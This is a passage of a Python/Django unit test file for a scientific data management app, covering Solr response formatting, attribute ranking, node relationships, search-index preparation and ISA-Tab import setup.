'display_name': 'Output Type',\n 'file_ext': u's',\n 'internal_name': u'REFINERY_WORKFLOW_OUTPUT_16_82_s'},\n {'attribute_type': 'Characteristics',\n 'display_name': u'Organism',\n 'file_ext': u's',\n 'internal_name': u'organism_Characteristics_16_82_s'},\n {'attribute_type': 'Internal',\n 'display_name': u'Type',\n 'file_ext': u's',\n 'internal_name': u'REFINERY_TYPE_16_82_s'}\n ],\n 'nodes_count': 1,\n 'nodes': [{\n u'REFINERY_WORKFLOW_OUTPUT_16_82_s': u'N/A',\n u'organism_Characteristics_16_82_s': u'Danio',\n u'REFINERY_SUBANALYSIS_16_82_s': u'-1',\n u'REFINERY_TYPE_16_82_s': u'Array Data File'}]\n }\n )\n\n def test_format_solr_response_invalid(self):\n # invalid input, do not mask error\n solr_response = {\"test_object\": \"not a string\"}\n with self.assertRaises(TypeError):\n format_solr_response(solr_response)\n\n def test_customize_attribute_response_for_generics(self):\n attributes = ['technology_Characteristics_generic_s',\n 'antibody_Factor_Value_generic_s']\n prettified_attributes = customize_attribute_response(attributes)\n self.assertListEqual(\n prettified_attributes,\n [{'attribute_type': 'Characteristics',\n 'display_name': 'Technology',\n 'file_ext': 's',\n 'internal_name': 'technology_Characteristics_generic_s'},\n {'attribute_type': 'Factor Value',\n 'display_name': 'Antibody',\n 'file_ext': 's',\n 'internal_name': 'antibody_Factor_Value_generic_s'}])\n\n def test_customize_attribute_response(self):\n # valid input\n attributes = ['REFINERY_FILETYPE_6_3_s',\n 'Title_Characteristics_6_3_s',\n 'REFINERY_TYPE_6_3_s',\n 'REFINERY_SUBANALYSIS_6_3_s',\n 'Month_Characteristics_6_3_s',\n 'REFINERY_NAME_6_3_s',\n 'REFINERY_WORKFLOW_OUTPUT_6_3_s',\n 'REFINERY_ANALYSIS_UUID_6_3_s',\n 'Author_Characteristics_6_3_s',\n 'Year_Characteristics_6_3_s']\n\n prettified_attributes = customize_attribute_response(attributes)\n self.assertListEqual(\n prettified_attributes,\n [{'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'File Type',\n 'internal_name': 'REFINERY_FILETYPE_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Title',\n 'internal_name': 'Title_Characteristics_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Type',\n 'internal_name': 'REFINERY_TYPE_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Analysis Group',\n 'internal_name': 'REFINERY_SUBANALYSIS_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Month',\n 'internal_name': 'Month_Characteristics_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Name',\n 'internal_name': 'REFINERY_NAME_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Output Type',\n 'internal_name': 'REFINERY_WORKFLOW_OUTPUT_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Analysis',\n 'internal_name': 'REFINERY_ANALYSIS_UUID_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Author',\n 'internal_name': 'Author_Characteristics_6_3_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Year',\n 'internal_name': 'Year_Characteristics_6_3_s'}])\n\n # another valid input\n attributes = ['treatment_Factor_Value_22_11_s',\n 'treatment_Characteristics_22_11_s',\n 'REFINERY_NAME_22_11_s',\n 'strain_Characteristics_22_11_s',\n 'organism_Characteristics_22_11_s',\n 'REFINERY_WORKFLOW_OUTPUT_22_11_s',\n 'Replicate_Id_Comment_22_11_s',\n 'REFINERY_ANALYSIS_UUID_22_11_s',\n 'REFINERY_FILETYPE_22_11_s',\n 'cell_line_Factor_Value_22_11_s',\n 'cell_line_Characteristics_22_11_s',\n 'Group_Name_Comment_22_11_s',\n 'REFINERY_TYPE_22_11_s',\n 'REFINERY_SUBANALYSIS_22_11_s']\n\n prettified_attributes = customize_attribute_response(attributes)\n self.assertListEqual(\n prettified_attributes,\n [{'file_ext': 's',\n 'attribute_type': 'Factor Value',\n 'display_name': 'Treatment',\n 'internal_name': 'treatment_Factor_Value_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Treatment',\n 'internal_name': 'treatment_Characteristics_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Name',\n 'internal_name': 'REFINERY_NAME_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Strain',\n 'internal_name': 'strain_Characteristics_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Organism',\n 'internal_name': 'organism_Characteristics_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Output Type',\n 'internal_name': 'REFINERY_WORKFLOW_OUTPUT_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Comment',\n 'display_name': 'Replicate Id',\n 'internal_name': 'Replicate_Id_Comment_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Analysis',\n 'internal_name': 'REFINERY_ANALYSIS_UUID_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'File Type',\n 'internal_name': 'REFINERY_FILETYPE_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Factor Value',\n 'display_name': 'Cell Line',\n 'internal_name': 'cell_line_Factor_Value_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Characteristics',\n 'display_name': 'Cell Line',\n 'internal_name': 'cell_line_Characteristics_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Comment',\n 'display_name': 'Group Name',\n 'internal_name': 'Group_Name_Comment_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Type',\n 'internal_name': 'REFINERY_TYPE_22_11_s'},\n {'file_ext': 's',\n 'attribute_type': 'Internal',\n 'display_name': 'Analysis Group',\n 'internal_name': 'REFINERY_SUBANALYSIS_22_11_s'}])\n\n def test_initialize_attribute_order_ranks_up(self):\n # Updates a new attribute order ranks\n expect_attribute_order = {\n 'Character_Title': 1,\n 'Specimen': 8,\n 'Cell Type': 2,\n 'Analysis': 3,\n 'Organism': 4,\n 'Cell Line': 5,\n 'Type': 0,\n 'Group Name': 6,\n 'Gene': 7,\n 'Replicate Id': 9,\n 'uuid': 0,\n 'name': 0,\n }\n\n selected_attribute = AttributeOrder.objects.get(assay=self.new_assay,\n solr_field='Specimen')\n initialize_attribute_order_ranks(selected_attribute, 8)\n ranked_attribute_list = AttributeOrder.objects.filter(\n assay=self.new_assay)\n\n for attribute in ranked_attribute_list:\n self.assertEqual(attribute.rank,\n expect_attribute_order[attribute.solr_field])\n\n def test_initialize_attribute_order_ranks_down(self):\n # Updates a new attribute order ranks\n expect_attribute_order = {\n 'Character_Title': 1,\n 'Specimen': 3,\n 'Cell Type': 4,\n 'Analysis': 5,\n 'Organism': 6,\n 'Cell Line': 7,\n 'Type': 0,\n 'Group Name': 8,\n 'Gene': 2,\n 'Replicate Id': 9,\n 'uuid': 0,\n 'name': 0,\n }\n\n selected_attribute = AttributeOrder.objects.get(assay=self.new_assay,\n solr_field='Gene')\n initialize_attribute_order_ranks(selected_attribute, 2)\n ranked_attribute_list = AttributeOrder.objects.filter(\n assay=self.new_assay)\n\n for attribute in ranked_attribute_list:\n self.assertEqual(attribute.rank,\n expect_attribute_order[attribute.solr_field])\n\n def test_initialize_attribute_order_ranks_zero(self):\n # Updates a new attribute order ranks\n expect_attribute_order = {\n 'Character_Title': 1,\n 'Specimen': 2,\n 'Cell Type': 3,\n 'Analysis': 4,\n 'Organism': 5,\n 'Cell Line': 6,\n 'Type': 0,\n 'Group Name': 7,\n 'Gene': 0,\n 'Replicate Id': 8,\n 'uuid': 0,\n 'name': 0,\n }\n\n selected_attribute = AttributeOrder.objects.get(assay=self.new_assay,\n solr_field='Gene')\n initialize_attribute_order_ranks(selected_attribute, 0)\n ranked_attribute_list = AttributeOrder.objects.filter(\n assay=self.new_assay)\n\n for attribute in ranked_attribute_list:\n self.assertEqual(attribute.rank,\n expect_attribute_order[attribute.solr_field])\n\n def test_update_attribute_order_ranks(self):\n # Test basic increase\n expected_order = {'Character_Title': 5,\n 'Specimen': 1,\n 'Cell Type': 2,\n 'Analysis': 3,\n 'Organism': 4,\n 'Cell Line': 6,\n 'Type': 7,\n 'Group Name': 8,\n 'Gene': 9,\n 'Replicate Id': 10,\n 'Organism Part': 0,\n 'Name': 0}\n\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Character_Title')\n new_rank = 5\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n # Test top edge case\n expected_order = {'Character_Title': 10,\n 'Specimen': 1,\n 'Cell Type': 2,\n 'Analysis': 3,\n 'Organism': 4,\n 'Cell Line': 5,\n 'Type': 6,\n 'Group Name': 7,\n 'Gene': 8,\n 'Replicate Id': 9,\n 'Organism Part': 0,\n 'Name': 0}\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Character_Title')\n new_rank = 10\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n # Test bottom edge case\n expected_order = {'Character_Title': 1,\n 'Specimen': 2,\n 'Cell Type': 3,\n 'Analysis': 4,\n 'Organism': 5,\n 'Cell Line': 6,\n 'Type': 7,\n 'Group Name': 8,\n 'Gene': 9,\n 'Replicate Id': 10,\n 'Organism Part': 0,\n 'Name': 0}\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Character_Title')\n new_rank = 1\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n # Test removing a rank to 0\n expected_order = {'Character_Title': 0,\n 'Specimen': 1,\n 'Cell Type': 2,\n 'Analysis': 3,\n 'Organism': 4,\n 'Cell Line': 5,\n 'Type': 6,\n 'Group Name': 7,\n 'Gene': 8,\n 'Replicate Id': 9,\n 'Organism Part': 0,\n 'Name': 0}\n attribute_order = AttributeOrder.objects.\\\n get(assay=self.assay, solr_field='Character_Title')\n new_rank = 0\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n # Test multiple changes, including inserting field back in rank order\n expected_order = {'Character_Title': 7,\n 'Specimen': 1,\n 'Cell Type': 2,\n 'Analysis': 4,\n 'Organism': 5,\n 'Cell Line': 6,\n 'Type': 10,\n 'Group Name': 8,\n 'Gene': 9,\n 'Replicate Id': 11,\n 'Organism Part': 0,\n 'Name': 3}\n attribute_order = AttributeOrder.objects.\\\n get(assay=self.assay, solr_field='Character_Title')\n new_rank = 7\n update_attribute_order_ranks(attribute_order, new_rank)\n AttributeOrder.objects.filter(assay=self.assay)\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Type')\n new_rank = 9\n update_attribute_order_ranks(attribute_order, new_rank)\n AttributeOrder.objects.filter(assay=self.assay)\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Name')\n new_rank = 3\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n # Test small rank change\n expected_order = {'Character_Title': 7,\n 'Specimen': 1,\n 'Cell Type': 2,\n 'Analysis': 4,\n 'Organism': 6,\n 'Cell Line': 5,\n 'Type': 10,\n 'Group Name': 8,\n 'Gene': 9,\n 'Replicate Id': 11,\n 'Organism Part': 0,\n 'Name': 3}\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Cell Line')\n new_rank = 5\n update_attribute_order_ranks(attribute_order, new_rank)\n attribute_list = AttributeOrder.objects.filter(\n assay=self.assay)\n for attribute in attribute_list:\n self.assertEqual(attribute.rank,\n expected_order[attribute.solr_field])\n\n def test_update_attribute_order_ranks_invalid(self):\n # Test invalid cases\n old_attribute_list = AttributeOrder.objects.filter(assay=self.assay)\n attribute_order = AttributeOrder.objects.get(\n assay=self.assay,\n solr_field='Cell Line')\n response = update_attribute_order_ranks(attribute_order, -4)\n self.assertEqual(response, 'Invalid: rank must be integer >= 0')\n response = update_attribute_order_ranks(attribute_order, None)\n self.assertEqual(response,\n 'Invalid: rank must be a string or a number.')\n response = update_attribute_order_ranks(attribute_order,\n attribute_order.rank)\n self.assertEqual(response,\n 'Error: New rank == old rank')\n attribute_list = AttributeOrder.objects.filter(assay=self.assay)\n self.assertItemsEqual(old_attribute_list, attribute_list)\n\n @mock.patch(\"data_set_manager.utils.core.utils.get_absolute_url\")\n def test_get_file_url_from_node_uuid_good_uuid(self, mock_get_url):\n mock_get_url.return_value = \"test_file_a.txt\"\n self.assertIn(\n \"test_file_a.txt\",\n get_file_url_from_node_uuid(self.node_a.uuid),\n )\n\n def test_get_file_url_from_node_uuid_bad_uuid(self):\n with self.assertRaises(RuntimeError) as context:\n get_file_url_from_node_uuid(\"coffee\")\n self.assertEqual(\n \"Couldn't fetch Node by UUID from: coffee\",\n context.exception.message\n )\n\n def test_get_file_url_from_node_uuid_with_no_file(self):\n self.assertIsNone(get_file_url_from_node_uuid(self.node_b.uuid))\n\n def test_get_file_url_from_node_uuid_with_no_file_url_required(self):\n with self.assertRaises(RuntimeError) as context:\n get_file_url_from_node_uuid(self.node_b.uuid,\n require_valid_url=True)\n self.assertIn(\"has no associated file url\", context.exception.message)\n\n def test__create_solr_params_from_node_uuids(self):\n fake_node_uuids = [str(uuid.uuid4()), str(uuid.uuid4())]\n node_solr_params = _create_solr_params_from_node_uuids(fake_node_uuids)\n self.assertEqual(\n node_solr_params,\n {\n \"json\": {\n \"query\": \"django_ct:data_set_manager.node\",\n \"filter\": \"uuid:({})\".format(\" OR \".join(fake_node_uuids))\n },\n \"params\": {\n \"wt\": \"json\",\n \"rows\": constants.REFINERY_SOLR_DOC_LIMIT\n }\n }\n )\n\n def test_update_annotated_nodes(self):\n type = 'Raw Data File'\n\n nodes_before = AnnotatedNode.objects.filter(Q(\n study__uuid=self.study.uuid,\n assay__uuid=self.assay.uuid,\n node_type=type\n ))\n self.assertEqual(len(nodes_before), 0)\n\n update_annotated_nodes(\n type,\n study_uuid=self.study.uuid,\n assay_uuid=self.assay.uuid,\n update=True)\n\n nodes_after = AnnotatedNode.objects.filter(Q(\n study__uuid=self.study.uuid,\n assay__uuid=self.assay.uuid,\n node_type=type\n ))\n self.assertEqual(len(nodes_after), 0)\n # TODO: Is this the behavior we expect?\n\n def test_update_existing_dataset_with_revised_investigation(self):\n existing_data_set = create_dataset_with_necessary_models()\n new_data_set = create_dataset_with_necessary_models()\n existing_data_set.update_with_revised_investigation(\n new_data_set.get_investigation()\n )\n self.assertEqual(existing_data_set.get_investigation(),\n new_data_set.get_investigation())\n\n def test_update_existing_data_set_with_revised_investigation_new_version(\n self\n ):\n existing_data_set = create_dataset_with_necessary_models()\n new_data_set = create_dataset_with_necessary_models()\n existing_data_set.update_with_revised_investigation(\n new_data_set.get_investigation()\n )\n self.assertEqual(existing_data_set.get_version(), 2)\n\n def test_update_existing_data_set_with_revised_investigation_new_message(\n self\n ):\n existing_data_set = create_dataset_with_necessary_models()\n new_data_set = create_dataset_with_necessary_models()\n existing_data_set.update_with_revised_investigation(\n new_data_set.get_investigation()\n )\n self.assertEqual(\n existing_data_set.get_latest_investigation_link().message,\n \"Metadata Revision: for {}\".format(\n new_data_set.get_investigation().title\n )\n )\n\n\nclass NodeClassMethodTests(TestCase):\n def setUp(self):\n self.username = 'coffee_tester'\n self.password = 'coffeecoffee'\n self.user = User.objects.create_user(self.username, '', self.password)\n\n self.filestore_item = FileStoreItem.objects.create(\n datafile=SimpleUploadedFile(\n 'test_file.bam',\n 'Coffee is delicious!')\n )\n self.filestore_item_1 = FileStoreItem.objects.create(\n datafile=SimpleUploadedFile(\n 'test_file.bed',\n 'Coffee is delicious!')\n )\n self.filestore_item_2 = FileStoreItem.objects.create(\n datafile=SimpleUploadedFile(\n 'test_file.seg',\n 'Coffee is delicious!')\n )\n self.dataset = DataSet.objects.create()\n # Create Investigation/InvestigationLinks for the DataSets\n self.investigation = Investigation.objects.create()\n self.investigation_link = InvestigationLink.objects.create(\n investigation=self.investigation,\n data_set=self.dataset)\n\n # Create Studys and Assays\n self.study = Study.objects.create(investigation=self.investigation)\n self.assay = Assay.objects.create(study=self.study)\n\n # Create Nodes\n self.node = Node.objects.create(assay=self.assay, study=self.study)\n self.another_node = Node.objects.create(assay=self.assay,\n study=self.study)\n self.file_node = Node.objects.create(\n assay=self.assay,\n study=self.study,\n file_uuid=self.filestore_item_1.uuid\n )\n\n # Parents and Children:\n\n def test_get_children(self):\n self.assertEqual(self.node.get_children(), [])\n self.node.add_child(self.another_node)\n child_uuid = self.node.get_children()[0]\n self.assertIsNotNone(child_uuid)\n self.assertEqual(child_uuid, self.another_node.uuid)\n\n # Check inverse relationship:\n self.assertEqual(self.node.uuid, self.another_node.get_parents()[0])\n\n def test_get_parents(self):\n self.assertEqual(self.another_node.get_parents(), [])\n self.node.add_child(self.another_node)\n parent_uuid = self.another_node.get_parents()[0]\n self.assertIsNotNone(parent_uuid)\n self.assertEqual(parent_uuid, self.node.uuid)\n\n # Check inverse relationship:\n self.assertEqual(self.another_node.uuid, self.node.get_children()[0])\n\n def test_is_orphan(self):\n self.assertTrue(self.another_node.is_orphan())\n self.node.add_child(self.another_node)\n self.assertFalse(self.another_node.is_orphan())\n\n # Auxiliary nodes:\n\n def test_create_and_associate_auxiliary_node(self):\n self.assertEqual(self.node.get_children(), [])\n self.node._create_and_associate_auxiliary_node(\n self.filestore_item.uuid)\n self.assertIsNotNone(self.node.get_children())\n self.assertIsNotNone(Node.objects.get(\n file_uuid=self.filestore_item.uuid))\n self.assertEqual(self.node.get_children()[0], Node.objects.get(\n file_uuid=self.filestore_item.uuid).uuid)\n self.assertEqual(Node.objects.get(\n file_uuid=self.filestore_item.uuid).get_parents()[0],\n self.node.uuid)\n self.assertEqual(Node.objects.get(uuid=self.node.get_children()[\n 0]).is_auxiliary_node, True)\n\n def test_get_auxiliary_nodes(self):\n self.assertEqual(self.node.get_children(), [])\n\n for i in xrange(2):\n self.node._create_and_associate_auxiliary_node(\n self.filestore_item.uuid)\n self.assertEqual(len(self.node.get_children()), 1)\n # Still just one child even on second time.\n self.assertEqual(Node.objects.get(\n file_uuid=self.filestore_item.uuid\n ).get_relative_file_store_item_url(),\n FileStoreItem.objects.get(\n uuid=Node.objects.get(\n file_uuid=self.filestore_item.uuid).file_uuid\n ).get_datafile_url())\n\n def test_get_auxiliary_file_generation_task_state(self):\n # Normal nodes will always return None\n self.assertIsNone(self.node.get_auxiliary_file_generation_task_state())\n\n # Auxiliary nodes will have a task state\n self.node._create_and_associate_auxiliary_node(\n self.filestore_item.uuid)\n auxiliary = Node.objects.get(uuid=self.node.get_children()[0])\n state = auxiliary.get_auxiliary_file_generation_task_state()\n self.assertIn(state, [PENDING, STARTED, SUCCESS])\n # Values from:\n # http://docs.celeryproject.org/en/latest/_modules/celery/result.html#AsyncResult\n\n # File store:\n\n def test_get_file_store_item(self):\n self.assertEqual(self.file_node.get_file_store_item(),\n self.filestore_item_1)\n self.assertEqual(self.node.get_file_store_item(),\n None)\n\n def test_get_relative_file_store_item_url(self):\n relative_url = self.file_node.get_relative_file_store_item_url()\n self.assertEqual(relative_url, self.file_node.get_file_store_item(\n ).get_datafile_url())\n\n def test_get_analysis(self):\n make_analyses_with_single_dataset(1, self.user)\n analysis = Analysis.objects.all()[0]\n\n node_with_analysis = Node.objects.create(\n assay=self.assay,\n study=self.study,\n analysis_uuid=analysis.uuid\n )\n self.assertEqual(node_with_analysis.get_analysis(), analysis)\n\n def test_get_analysis_no_analysis(self):\n self.assertIsNone(self.node.get_analysis())\n\n\nclass NodeIndexTests(APITestCase):\n\n def setUp(self):\n data_set = DataSet.objects.create()\n investigation = Investigation.objects.create()\n InvestigationLink.objects.create(investigation=investigation,\n data_set=data_set)\n study = Study.objects.create(investigation=investigation)\n assay = Assay.objects.create(study=study, technology='whizbang')\n\n self.file_store_item = FileStoreItem()\n self.file_store_item.import_task_id = str(uuid.uuid4())\n self.file_store_item.save()\n\n self.import_task = TaskMeta.objects.create(\n task_id=self.file_store_item.import_task_id\n )\n\n self.node = Node.objects.create(\n assay=assay,\n study=study,\n file_uuid=self.file_store_item.uuid,\n name='http://example.com/fake.txt',\n type='Raw Data File'\n )\n\n self.data_set_uuid = data_set.uuid\n self.assay_uuid = assay.uuid\n self.study_uuid = study.uuid\n self.file_uuid = self.file_store_item.uuid\n self.node_uuid = self.node.uuid\n\n self.maxDiff = None\n\n def test_skip_types(self):\n self.node.type = 'Unknown File Type'\n with self.assertRaises(SkipDocument):\n NodeIndex().prepare(self.node)\n\n def _prepare_node_index(self, node):\n data = NodeIndex().prepare(node)\n data = dict(\n (\n re.sub(r'\\d+', '#', key),\n re.sub(r'\\d+', '#', value) if\n type(value) in (unicode, str) and\n key != 'REFINERY_DOWNLOAD_URL_s' and\n 'uuid' not in key\n else value\n )\n for (key, value) in data.items()\n )\n return data\n\n def _assert_node_index_prepared_correctly(self,\n data_to_be_indexed,\n expected_download_url=None,\n expected_filetype=None,\n expected_datafile=''):\n self.assertEqual(\n data_to_be_indexed,\n {\n 'REFINERY_ANALYSIS_UUID_#_#_s': 'N/A',\n 'REFINERY_DATAFILE_s': expected_datafile,\n 'REFINERY_DOWNLOAD_URL_s': expected_download_url,\n 'REFINERY_FILETYPE_#_#_s': expected_filetype,\n 'REFINERY_NAME_#_#_s': 'http://example.com/fake.txt',\n 'REFINERY_SUBANALYSIS_#_#_s': -1,\n 'REFINERY_TYPE_#_#_s': 'Raw Data File',\n 'REFINERY_WORKFLOW_OUTPUT_#_#_s': 'N/A',\n 'analysis_uuid': None,\n 'assay_uuid': self.assay_uuid,\n 'data_set_uuid': self.data_set_uuid,\n u'django_ct': u'data_set_manager.node',\n u'django_id': u'#',\n 'file_uuid': self.file_uuid,\n 'filetype_Characteristics_generic_s': expected_filetype,\n 'genome_build': None,\n u'id': u'data_set_manager.node.#',\n 'is_annotation': False,\n 'measurement_Characteristics_generic_s': '',\n 'measurement_accession_Characteristics_generic_s': '',\n 'measurement_source_Characteristics_generic_s': '',\n 'name': u'http://example.com/fake.txt',\n 'platform_Characteristics_generic_s': '',\n 'species': None,\n 'study_uuid': self.study_uuid,\n 'subanalysis': None,\n 'technology_Characteristics_generic_s': 'whizbang',\n 'technology_accession_Characteristics_generic_s': '',\n 'technology_source_Characteristics_generic_s': '',\n 'text': u'',\n 'type': u'Raw Data File',\n 'uuid': self.node_uuid,\n 'workflow_output': None\n }\n )\n\n def test_prepare_node_with_valid_datafile(self):\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value='/media/file_store/test_file.txt'):\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.get_datafile_url(),\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_remote_datafile_source(self):\n self.file_store_item.source = u'http://www.example.org/test.txt'\n self.file_store_item.save()\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.source,\n expected_filetype=self.file_store_item.filetype,\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_pending_yet_existing_file_import_task(self):\n with mock.patch.object(FileStoreItem, 'get_import_status',\n return_value=PENDING):\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=constants.NOT_AVAILABLE\n )\n\n def test_prepare_node_pending_non_existent_file_import_task(self):\n self.import_task.delete()\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value=None):\n with mock.patch.object(FileStoreItem, 'get_import_status',\n return_value=FAILURE):\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=constants.NOT_AVAILABLE\n )\n\n def test_prepare_node_no_file_import_task_id_yet(self):\n self.file_store_item.import_task_id = \"\"\n self.file_store_item.save()\n self.import_task.delete()\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=PENDING,\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_no_file_store_item(self):\n with mock.patch('celery.result.AsyncResult'):\n self.file_store_item.delete()\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=constants.NOT_AVAILABLE, expected_filetype=''\n )\n\n def test_prepare_node_s3_file_store_item_source_no_datafile(self):\n self.file_store_item.source = 's3://test/test.txt'\n self.file_store_item.save()\n with mock.patch.object(FileStoreItem, 'get_import_status',\n return_value=FAILURE):\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=constants.NOT_AVAILABLE,\n expected_filetype=self.file_store_item.filetype,\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_s3_file_store_item_source_with_datafile(self):\n self.file_store_item.source = 's3://test/test.txt'\n self.file_store_item.save()\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value='/media/file_store/test.txt'):\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.get_datafile_url(),\n expected_filetype=self.file_store_item.filetype,\n expected_datafile=self.file_store_item.datafile\n )\n\n def _create_analysis_node_connection(self, direction, is_refinery_file):\n user = User.objects.create_user(\"test\", \"\", \"test\")\n make_analyses_with_single_dataset(1, user)\n\n AnalysisNodeConnection.objects.create(\n analysis=Analysis.objects.first(),\n node=self.node,\n direction=direction,\n step=1,\n name=\"{} Analysis Node Connection\".format(direction),\n filename=\"test.txt\",\n is_refinery_file=is_refinery_file\n )\n\n def test_prepare_node_with_non_exposed_input_node_connection_isnt_skipped(\n self\n ):\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value='/media/file_store/test_file.txt'):\n self._create_analysis_node_connection(INPUT_CONNECTION, False)\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.get_datafile_url(),\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_with_exposed_input_node_connection_isnt_skipped(\n self\n ):\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value='/media/file_store/test_file.txt'):\n self._create_analysis_node_connection(INPUT_CONNECTION, True)\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.get_datafile_url(),\n expected_datafile=self.file_store_item.datafile\n )\n\n def test_prepare_node_with_non_exposed_output_node_connection_is_skipped(\n self\n ):\n self._create_analysis_node_connection(OUTPUT_CONNECTION, False)\n with self.assertRaises(SkipDocument):\n self._prepare_node_index(self.node)\n\n def test_prepare_node_with_exposed_output_node_connection_isnt_skipped(\n self\n ):\n with mock.patch.object(FileStoreItem, 'get_datafile_url',\n return_value='/media/file_store/test_file.txt'):\n self._create_analysis_node_connection(OUTPUT_CONNECTION, True)\n self._assert_node_index_prepared_correctly(\n self._prepare_node_index(self.node),\n expected_download_url=self.file_store_item.get_datafile_url(),\n expected_datafile=self.file_store_item.datafile\n )\n\n\n@contextlib.contextmanager\ndef temporary_directory(*args, **kwargs):\n d = tempfile.mkdtemp(*args, **kwargs)\n try:\n yield d\n finally:\n shutil.rmtree(d)\n\n\nclass IsaTabTestBase(TestCase):\n def setUp(self):\n logging.getLogger(\n \"data_set_manager.isa_tab_parser\"\n ).setLevel(logging.ERROR)\n\n # no need to update Solr index in tests\n self.update_node_index_mock = mock.patch(\n \"data_set_manager.search_indexes.NodeIndex.update_object\"\n ).start()\n\n test_user = \"test_user\"\n self.user = User.objects.create_user(test_user)\n self.user.set_password(test_user)\n self.user.save()\n self.isa_tab_import_url = \"/data_set_manager/import/isa-tab-form/\"\n self.client.login(username=self.user.username, password=test_user)\n\n def tearDown(self):\n mock.patch.stopall()\n FileStoreItem.objects.all().delete()\n\n def post_isa_tab(self, isa_tab_url=None, isa_tab_file=None,\n data_set_uuid=None):\n post_data = {\n \"isa_tab_url\": isa_tab_url,\n \"isa_tab_file\": isa_tab_file\n }\n url = self.isa_tab_import_url\n if data_set_uuid is not None:\n url += \"?data_set_uuid={}\".format(data_set_uuid)\n\n response = self.client.post(\n url,\n data=post_data,\n HTTP_X_REQUESTED_WITH='XMLHttpRequest'\n )\n return response\n\n\nclass IsaTabParserTests(IsaTabTestBase):\n def failed_isatab_assertions(self):\n self.assertEqual(DataSet.objects.count(), 0)\n self.assertEqual(AnnotatedNode.objects.count(), 0)\n self.assertEqual(Node.objects.count(), 0)\n self.assertEqual(FileStoreItem.objects.count(), 0)\n self.assertEqual(Investigation.objects.count(), 0)\n\n def parse(self, dir_name):\n file_source_translator = generate_file_source_translator(\n username=self.user.username\n )\n dir = os.path.join(TEST_DATA_BASE_PATH, dir_name)\n return IsaTabParser(\n file_source_translator=file_source_translator\n ).run(dir)\n\n def test_empty(self):\n with temporary_directory() as tmp:\n with 